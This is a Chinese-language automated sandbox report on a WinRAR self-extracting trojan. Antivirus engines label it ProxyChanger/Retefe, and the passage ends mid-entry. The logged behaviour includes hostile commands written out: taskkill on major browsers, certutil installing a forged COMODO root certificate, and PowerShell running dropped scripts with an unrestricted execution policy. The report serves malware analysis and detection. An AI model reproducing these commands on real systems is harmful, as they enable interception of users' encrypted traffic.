10
0-day
45 个模型检测该样本为恶意！
重新分析
更多

24d6774c1e91ab5d03b2bc857f8f35534acbc8f4ed8aaf802372588638100cb4

9ef2df5ca2663892765372d777d35941.exe

分析耗时

175s

最近分析

文件大小

189.6KB
静态报毒 动态报毒 0YCP1QK86IC AI SCORE=89 ARTEMIS CONFIDENCE EGUNKG FI08040E GENERICKD KCLOUD KOVONIONZ MALWARE@#Y7E0JBXB5UFG NEMUCOD PROXYCHANGER RETEFE SCORE TOPIS TROJANPROXY UNSAFE UVPA 更多
鹰眼引擎
未检测 暂无鹰眼引擎检测结果
静态判定
反病毒引擎
查杀引擎 查杀结果 查杀时间 查杀版本
Alibaba Trojan:JS/ProxyChanger.7315025f 20190527 0.3.0.5
CrowdStrike win/malicious_confidence_60% (W) 20190702 1.0
Avast SFX:Agent-AI [Trj] 20201228 21.1.5827.0
Baidu 20190318 1.0.0.2
Kingsoft Win32.Troj.Undef.(kcloud) 20201228 2017.9.26.565
McAfee Artemis!9EF2DF5CA266 20201228 6.0.6.653
Tencent 20201228 1.0.0.1
静态指标
Queries for the computername (16 个事件)
Time & API Arguments Status Return Repeated
1619789642.5085
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619789642.47775
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619789642.508625
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619789647.38325
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619789647.39925
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619789647.39925
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619789647.46125
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619789666.88325
GetComputerNameA
computer_name: OSKAR-PC
success 1 0
1619789666.88325
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619789643.2745
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619789687.190481
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619789687.206481
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619789687.206481
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619789687.206481
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619789687.925481
GetComputerNameA
computer_name: OSKAR-PC
success 1 0
1619789687.925481
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
Checks if process is being debugged by a debugger (3 个事件)
Time & API Arguments Status Return Repeated
1619789650.16425
IsDebuggerPresent
failed 0 0
1619789643.2435
IsDebuggerPresent
failed 0 0
1619789687.300481
IsDebuggerPresent
failed 0 0
Command line console output was observed (8 个事件)
Time & API Arguments Status Return Repeated
1619789643.7745
WriteConsoleW
buffer: 错误: 没有找到进程 "iexplore.exe"。
console_handle: 0x0000000b
success 1 0
1619789643.77475
WriteConsoleW
buffer: 错误: 没有找到进程 "firefox.exe"。
console_handle: 0x0000000b
success 1 0
1619789643.774625
WriteConsoleW
buffer: 错误: 没有找到进程 "chrome.exe"。
console_handle: 0x0000000b
success 1 0
1619789643.3995
WriteConsoleW
buffer: ROOT
console_handle: 0x00000007
success 1 0
1619789643.7275
WriteConsoleW
buffer: 签名与公钥匹配
console_handle: 0x00000007
success 1 0
1619789674.0245
WriteConsoleW
buffer: 证书 "E=me@myhost.mydomain, CN=COMODO Certification Authority, OU=COMODO Certification Authority, O=COMODO CA Limited, L=Salford, S=Greater Manchester, C=US" 添加到存储。
console_handle: 0x00000007
success 1 0
1619789674.0245
WriteConsoleW
buffer: CertUtil: -addstore 命令成功完成。
console_handle: 0x00000007
success 1 0
1619789707.534481
WriteConsoleW
buffer: False
console_handle: 0x00000013
success 1 0
Uses Windows APIs to generate a cryptographic key (50 out of 204 个事件)
Time & API Arguments Status Return Repeated
1619789664.11825
CryptExportKey
crypto_handle: 0x005417c0
crypto_export_handle: 0x00000000
buffer: <INVALID POINTER>
blob_type: 6
flags: 0
success 1 0
1619789665.19625
CryptExportKey
crypto_handle: 0x00541680
crypto_export_handle: 0x00000000
buffer: <INVALID POINTER>
blob_type: 6
flags: 0
success 1 0
1619789665.19625
CryptExportKey
crypto_handle: 0x00541680
crypto_export_handle: 0x00000000
buffer: <INVALID POINTER>
blob_type: 6
flags: 0
success 1 0
1619789665.19625
CryptExportKey
crypto_handle: 0x00541680
crypto_export_handle: 0x00000000
buffer: <INVALID POINTER>
blob_type: 6
flags: 0
success 1 0
1619789665.36825
CryptExportKey
crypto_handle: 0x00541680
crypto_export_handle: 0x00000000
buffer: <INVALID POINTER>
blob_type: 6
flags: 0
success 1 0
1619789665.36825
CryptExportKey
crypto_handle: 0x00541680
crypto_export_handle: 0x00000000
buffer: <INVALID POINTER>
blob_type: 6
flags: 0
success 1 0
1619789665.38325
CryptExportKey
crypto_handle: 0x00541680
crypto_export_handle: 0x00000000
buffer: <INVALID POINTER>
blob_type: 6
flags: 0
success 1 0
1619789665.44625
CryptExportKey
crypto_handle: 0x00541680
crypto_export_handle: 0x00000000
buffer: <INVALID POINTER>
blob_type: 6
flags: 0
success 1 0
1619789665.47725
CryptExportKey
crypto_handle: 0x00540bc0
crypto_export_handle: 0x00000000
buffer: <INVALID POINTER>
blob_type: 6
flags: 0
success 1 0
1619789665.47725
CryptExportKey
crypto_handle: 0x00540bc0
crypto_export_handle: 0x00000000
buffer: <INVALID POINTER>
blob_type: 6
flags: 0
success 1 0
1619789665.50825
CryptExportKey
crypto_handle: 0x00540bc0
crypto_export_handle: 0x00000000
buffer: <INVALID POINTER>
blob_type: 6
flags: 0
success 1 0
1619789665.50825
CryptExportKey
crypto_handle: 0x00540bc0
crypto_export_handle: 0x00000000
buffer: <INVALID POINTER>
blob_type: 6
flags: 0
success 1 0
1619789665.50825
CryptExportKey
crypto_handle: 0x00540bc0
crypto_export_handle: 0x00000000
buffer: <INVALID POINTER>
blob_type: 6
flags: 0
success 1 0
1619789665.50825
CryptExportKey
crypto_handle: 0x00540bc0
crypto_export_handle: 0x00000000
buffer: <INVALID POINTER>
blob_type: 6
flags: 0
success 1 0
1619789665.89925
CryptExportKey
crypto_handle: 0x00541100
crypto_export_handle: 0x00000000
buffer: <INVALID POINTER>
blob_type: 6
flags: 0
success 1 0
1619789665.89925
CryptExportKey
crypto_handle: 0x00541100
crypto_export_handle: 0x00000000
buffer: <INVALID POINTER>
blob_type: 6
flags: 0
success 1 0
1619789665.89925
CryptExportKey
crypto_handle: 0x00541100
crypto_export_handle: 0x00000000
buffer: <INVALID POINTER>
blob_type: 6
flags: 0
success 1 0
1619789665.89925
CryptExportKey
crypto_handle: 0x00541100
crypto_export_handle: 0x00000000
buffer: <INVALID POINTER>
blob_type: 6
flags: 0
success 1 0
1619789665.89925
CryptExportKey
crypto_handle: 0x00541100
crypto_export_handle: 0x00000000
buffer: <INVALID POINTER>
blob_type: 6
flags: 0
success 1 0
1619789665.89925
CryptExportKey
crypto_handle: 0x00541100
crypto_export_handle: 0x00000000
buffer: <INVALID POINTER>
blob_type: 6
flags: 0
success 1 0
1619789665.94625
CryptExportKey
crypto_handle: 0x00541100
crypto_export_handle: 0x00000000
buffer: <INVALID POINTER>
blob_type: 6
flags: 0
success 1 0
1619789666.61825
CryptExportKey
crypto_handle: 0x005414c0
crypto_export_handle: 0x00000000
buffer: <INVALID POINTER>
blob_type: 6
flags: 0
success 1 0
1619789666.61825
CryptExportKey
crypto_handle: 0x005414c0
crypto_export_handle: 0x00000000
buffer: <INVALID POINTER>
blob_type: 6
flags: 0
success 1 0
1619789666.61825
CryptExportKey
crypto_handle: 0x005414c0
crypto_export_handle: 0x00000000
buffer: <INVALID POINTER>
blob_type: 6
flags: 0
success 1 0
1619789666.63325
CryptExportKey
crypto_handle: 0x00541000
crypto_export_handle: 0x00000000
buffer: <INVALID POINTER>
blob_type: 6
flags: 0
success 1 0
1619789666.63325
CryptExportKey
crypto_handle: 0x005414c0
crypto_export_handle: 0x00000000
buffer: <INVALID POINTER>
blob_type: 6
flags: 0
success 1 0
1619789666.63325
CryptExportKey
crypto_handle: 0x005414c0
crypto_export_handle: 0x00000000
buffer: <INVALID POINTER>
blob_type: 6
flags: 0
success 1 0
1619789666.63325
CryptExportKey
crypto_handle: 0x005414c0
crypto_export_handle: 0x00000000
buffer: <INVALID POINTER>
blob_type: 6
flags: 0
success 1 0
1619789666.63325
CryptExportKey
crypto_handle: 0x005414c0
crypto_export_handle: 0x00000000
buffer: <INVALID POINTER>
blob_type: 6
flags: 0
success 1 0
1619789666.63325
CryptExportKey
crypto_handle: 0x005414c0
crypto_export_handle: 0x00000000
buffer: <INVALID POINTER>
blob_type: 6
flags: 0
success 1 0
1619789666.72725
CryptExportKey
crypto_handle: 0x005414c0
crypto_export_handle: 0x00000000
buffer: <INVALID POINTER>
blob_type: 6
flags: 0
success 1 0
1619789666.72725
CryptExportKey
crypto_handle: 0x005414c0
crypto_export_handle: 0x00000000
buffer: <INVALID POINTER>
blob_type: 6
flags: 0
success 1 0
1619789666.75825
CryptExportKey
crypto_handle: 0x005414c0
crypto_export_handle: 0x00000000
buffer: <INVALID POINTER>
blob_type: 6
flags: 0
success 1 0
1619789666.75825
CryptExportKey
crypto_handle: 0x005414c0
crypto_export_handle: 0x00000000
buffer: <INVALID POINTER>
blob_type: 6
flags: 0
success 1 0
1619789666.82125
CryptExportKey
crypto_handle: 0x00541400
crypto_export_handle: 0x00000000
buffer: <INVALID POINTER>
blob_type: 6
flags: 0
success 1 0
1619789666.82125
CryptExportKey
crypto_handle: 0x00541400
crypto_export_handle: 0x00000000
buffer: <INVALID POINTER>
blob_type: 6
flags: 0
success 1 0
1619789666.82125
CryptExportKey
crypto_handle: 0x00541400
crypto_export_handle: 0x00000000
buffer: <INVALID POINTER>
blob_type: 6
flags: 0
success 1 0
1619789666.82125
CryptExportKey
crypto_handle: 0x00541400
crypto_export_handle: 0x00000000
buffer: <INVALID POINTER>
blob_type: 6
flags: 0
success 1 0
1619789666.82125
CryptExportKey
crypto_handle: 0x00541400
crypto_export_handle: 0x00000000
buffer: <INVALID POINTER>
blob_type: 6
flags: 0
success 1 0
1619789666.82125
CryptExportKey
crypto_handle: 0x00541400
crypto_export_handle: 0x00000000
buffer: <INVALID POINTER>
blob_type: 6
flags: 0
success 1 0
1619789666.83625
CryptExportKey
crypto_handle: 0x00541400
crypto_export_handle: 0x00000000
buffer: <INVALID POINTER>
blob_type: 6
flags: 0
success 1 0
1619789666.85225
CryptExportKey
crypto_handle: 0x00540a80
crypto_export_handle: 0x00000000
buffer: <INVALID POINTER>
blob_type: 6
flags: 0
success 1 0
1619789666.85225
CryptExportKey
crypto_handle: 0x00540a80
crypto_export_handle: 0x00000000
buffer: <INVALID POINTER>
blob_type: 6
flags: 0
success 1 0
1619789668.50825
CryptExportKey
crypto_handle: 0x00540a80
crypto_export_handle: 0x00000000
buffer: <INVALID POINTER>
blob_type: 6
flags: 0
success 1 0
1619789668.50825
CryptExportKey
crypto_handle: 0x00540a80
crypto_export_handle: 0x00000000
buffer: <INVALID POINTER>
blob_type: 6
flags: 0
success 1 0
1619789668.53925
CryptExportKey
crypto_handle: 0x00540a80
crypto_export_handle: 0x00000000
buffer: <INVALID POINTER>
blob_type: 6
flags: 0
success 1 0
1619789668.53925
CryptExportKey
crypto_handle: 0x00540a80
crypto_export_handle: 0x00000000
buffer: <INVALID POINTER>
blob_type: 6
flags: 0
success 1 0
1619789668.53925
CryptExportKey
crypto_handle: 0x00540a80
crypto_export_handle: 0x00000000
buffer: <INVALID POINTER>
blob_type: 6
flags: 0
success 1 0
1619789668.74325
CryptExportKey
crypto_handle: 0x00540a80
crypto_export_handle: 0x00000000
buffer: <INVALID POINTER>
blob_type: 6
flags: 0
success 1 0
1619789668.74325
CryptExportKey
crypto_handle: 0x00540a80
crypto_export_handle: 0x00000000
buffer: <INVALID POINTER>
blob_type: 6
flags: 0
success 1 0
This executable has a PDB path (1 个事件)
pdb_path d:\Projects\WinRAR\SFX\build\sfxrar32\Release\sfxrar.pdb
Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 个事件)
Time & API Arguments Status Return Repeated
1619789642.57125
GlobalMemoryStatusEx
success 1 0
行为判定
动态指标
One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.
HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 个事件)
suspicious_features POST method with no referer header suspicious_request POST https://update.googleapis.com/service/update2?cup2key=10:3842403147&cup2hreq=aacb03c061b4b661e559749f5f2ae04b565d1f166ea357db23df3d733bb24cdf
Performs some HTTP requests (2 个事件)
request GET http://api.ipify.org/
request POST https://update.googleapis.com/service/update2?cup2key=10:3842403147&cup2hreq=aacb03c061b4b661e559749f5f2ae04b565d1f166ea357db23df3d733bb24cdf
Sends data using the HTTP POST Method (1 个事件)
request POST https://update.googleapis.com/service/update2?cup2key=10:3842403147&cup2hreq=aacb03c061b4b661e559749f5f2ae04b565d1f166ea357db23df3d733bb24cdf
Allocates read-write-execute memory (usually to unpack itself) (50 out of 386 个事件)
Time & API Arguments Status Return Repeated
1619781425.531625
NtProtectVirtualMemory
process_identifier: 2852
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x745e1000
success 0 0
1619781425.968625
NtProtectVirtualMemory
process_identifier: 2852
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x747a1000
success 0 0
1619781426.781625
NtProtectVirtualMemory
process_identifier: 2852
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x73ef1000
success 0 0
1619781427.781625
NtProtectVirtualMemory
process_identifier: 2852
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x77711000
success 0 0
1619781427.781625
NtProtectVirtualMemory
process_identifier: 2852
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x76241000
success 0 0
1619781427.781625
NtProtectVirtualMemory
process_identifier: 2852
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x76121000
success 0 0
1619781427.890625
NtProtectVirtualMemory
process_identifier: 2852
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x75a11000
success 0 0
1619781427.890625
NtProtectVirtualMemory
process_identifier: 2852
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x766c1000
success 0 0
1619781427.890625
NtProtectVirtualMemory
process_identifier: 2852
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x77691000
success 0 0
1619781428.062625
NtProtectVirtualMemory
process_identifier: 2852
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x75331000
success 0 0
1619781428.062625
NtProtectVirtualMemory
process_identifier: 2852
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x76881000
success 0 0
1619789636.539625
NtProtectVirtualMemory
process_identifier: 2128
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x73e91000
success 0 0
1619789636.539625
NtProtectVirtualMemory
process_identifier: 2128
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x747a1000
success 0 0
1619789636.602625
NtProtectVirtualMemory
process_identifier: 2128
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x75c41000
success 0 0
1619789636.602625
NtProtectVirtualMemory
process_identifier: 2128
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x76121000
success 0 0
1619789636.602625
NtProtectVirtualMemory
process_identifier: 2128
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x75061000
success 0 0
1619789636.649625
NtProtectVirtualMemory
process_identifier: 2128
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x74531000
success 0 0
1619789636.664625
NtProtectVirtualMemory
process_identifier: 2128
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x74511000
success 0 0
1619789636.664625
NtProtectVirtualMemory
process_identifier: 2128
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x73d41000
success 0 0
1619789636.696625
NtProtectVirtualMemory
process_identifier: 2128
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x75011000
success 0 0
1619789637.008625
NtProtectVirtualMemory
process_identifier: 2128
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x73ef1000
success 0 0
1619789637.227625
NtProtectVirtualMemory
process_identifier: 2128
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x77711000
success 0 0
1619789637.227625
NtProtectVirtualMemory
process_identifier: 2128
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x76241000
success 0 0
1619789637.336625
NtProtectVirtualMemory
process_identifier: 2128
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x75a11000
success 0 0
1619789637.336625
NtProtectVirtualMemory
process_identifier: 2128
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x766c1000
success 0 0
1619789637.336625
NtProtectVirtualMemory
process_identifier: 2128
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x77691000
success 0 0
1619789637.352625
NtProtectVirtualMemory
process_identifier: 2128
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x75331000
success 0 0
1619789637.352625
NtProtectVirtualMemory
process_identifier: 2128
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x76881000
success 0 0
1619789681.680625
NtProtectVirtualMemory
process_identifier: 2128
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x73d51000
success 0 0
1619789681.696625
NtProtectVirtualMemory
process_identifier: 2128
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x750a1000
success 0 0
1619789681.696625
NtProtectVirtualMemory
process_identifier: 2128
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x73d41000
success 0 0
1619789681.711625
NtProtectVirtualMemory
process_identifier: 2128
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x73821000
success 0 0
1619789681.727625
NtProtectVirtualMemory
process_identifier: 2128
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x73d31000
success 0 0
1619789681.758625
NtProtectVirtualMemory
process_identifier: 2128
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x752f1000
success 0 0
1619789642.4615
NtProtectVirtualMemory
process_identifier: 520
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x752b1000
success 0 0
1619789642.47775
NtProtectVirtualMemory
process_identifier: 1812
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x752b1000
success 0 0
1619789642.477625
NtProtectVirtualMemory
process_identifier: 3120
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x752b1000
success 0 0
1619789642.52425
NtProtectVirtualMemory
process_identifier: 3216
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x75331000
success 0 0
1619789642.52425
NtProtectVirtualMemory
process_identifier: 3216
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x76881000
success 0 0
1619789642.53925
NtProtectVirtualMemory
process_identifier: 3216
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x75a11000
success 0 0
1619789642.53925
NtProtectVirtualMemory
process_identifier: 3216
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x766c1000
success 0 0
1619789642.53925
NtProtectVirtualMemory
process_identifier: 3216
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x77691000
success 0 0
1619789644.69625
NtProtectVirtualMemory
process_identifier: 3216
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x738e1000
success 0 0
1619789646.77425
NtProtectVirtualMemory
process_identifier: 3216
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x73761000
success 0 0
1619789647.11825
NtProtectVirtualMemory
process_identifier: 3216
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x75841000
success 0 0
1619789647.36825
NtProtectVirtualMemory
process_identifier: 3216
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x738d1000
success 0 0
1619789647.46125
NtProtectVirtualMemory
process_identifier: 3216
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x75061000
success 0 0
1619789647.88325
NtProtectVirtualMemory
process_identifier: 3216
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x72911000
success 0 0
1619789647.89925
NtAllocateVirtualMemory
process_identifier: 3216
region_size: 327680
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 8192 (MEM_RESERVE)
base_address: 0x02790000
success 0 0
1619789647.89925
NtAllocateVirtualMemory
process_identifier: 3216
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x027a0000
success 0 0
Looks up the external IP address (1 个事件)
domain api.ipify.org
Creates (office) documents on the filesystem (1 个事件)
file C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\RarSFX2\xycrextertrttrew_Num_93196.doc
Creates executable files on the filesystem (4 个事件)
file c:\Users\Administrator.Oskar-PC\AppData\Local\Temp\rhadbztv.dll
file C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\psf.ps1
file C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\ps.ps1
file c:\Users\Administrator.Oskar-PC\AppData\Local\Temp\jvopxd7l.dll
Creates a shortcut to an executable file (1 个事件)
file C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\RarSFX2\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
Creates a suspicious process (4 个事件)
cmdline powershell -ExecutionPolicy Unrestricted -File "C:\Users\ADMINI~1.OSK\AppData\Local\Temp\psf.ps1"
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Unrestricted -File "C:\Users\ADMINI~1.OSK\AppData\Local\Temp\psf.ps1"
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Unrestricted -File "C:\Users\ADMINI~1.OSK\AppData\Local\Temp\ps.ps1"
cmdline powershell -ExecutionPolicy Unrestricted -File "C:\Users\ADMINI~1.OSK\AppData\Local\Temp\ps.ps1"
Drops an executable to the user AppData folder (2 个事件)
file C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\jvopxd7l.dll
file C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\rhadbztv.dll
Executes one or more WMI queries (3 个事件)
wmi SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "iexplore.exe")
wmi SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "firefox.exe")
wmi SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "chrome.exe")
A process created a hidden window (6 个事件)
Time & API Arguments Status Return Repeated
1619789637.524625
ShellExecuteExW
parameters: /F /im iexplore.exe
filepath: taskkill
filepath_r: taskkill
show_type: 0
success 1 0
1619789637.633625
ShellExecuteExW
parameters: /F /im firefox.exe
filepath: taskkill
filepath_r: taskkill
show_type: 0
success 1 0
1619789637.899625
ShellExecuteExW
parameters: /F /im chrome.exe
filepath: taskkill
filepath_r: taskkill
show_type: 0
success 1 0
1619789640.430625
ShellExecuteExW
parameters: -ExecutionPolicy Unrestricted -File "C:\Users\ADMINI~1.OSK\AppData\Local\Temp\ps.ps1"
filepath: powershell
filepath_r: powershell
show_type: 0
success 1 0
1619789641.743625
ShellExecuteExW
parameters: -addstore -f -user "ROOT" "C:\Users\ADMINI~1.OSK\AppData\Local\Temp\cert.der"
filepath: certutil
filepath_r: certutil
show_type: 0
success 1 0
1619789686.774625
ShellExecuteExW
parameters: -ExecutionPolicy Unrestricted -File "C:\Users\ADMINI~1.OSK\AppData\Local\Temp\psf.ps1"
filepath: powershell
filepath_r: powershell
show_type: 0
success 1 0
Checks adapter addresses which can be used to detect virtual network interfaces (1 个事件)
Time & API Arguments Status Return Repeated
1619789681.758625
GetAdaptersAddresses
flags: 0
family: 0
failed 111 0
Checks for the Locally Unique Identifier on the system for a suspicious privilege (5 个事件)
Time & API Arguments Status Return Repeated
1619789642.4615
LookupPrivilegeValueW
system_name:
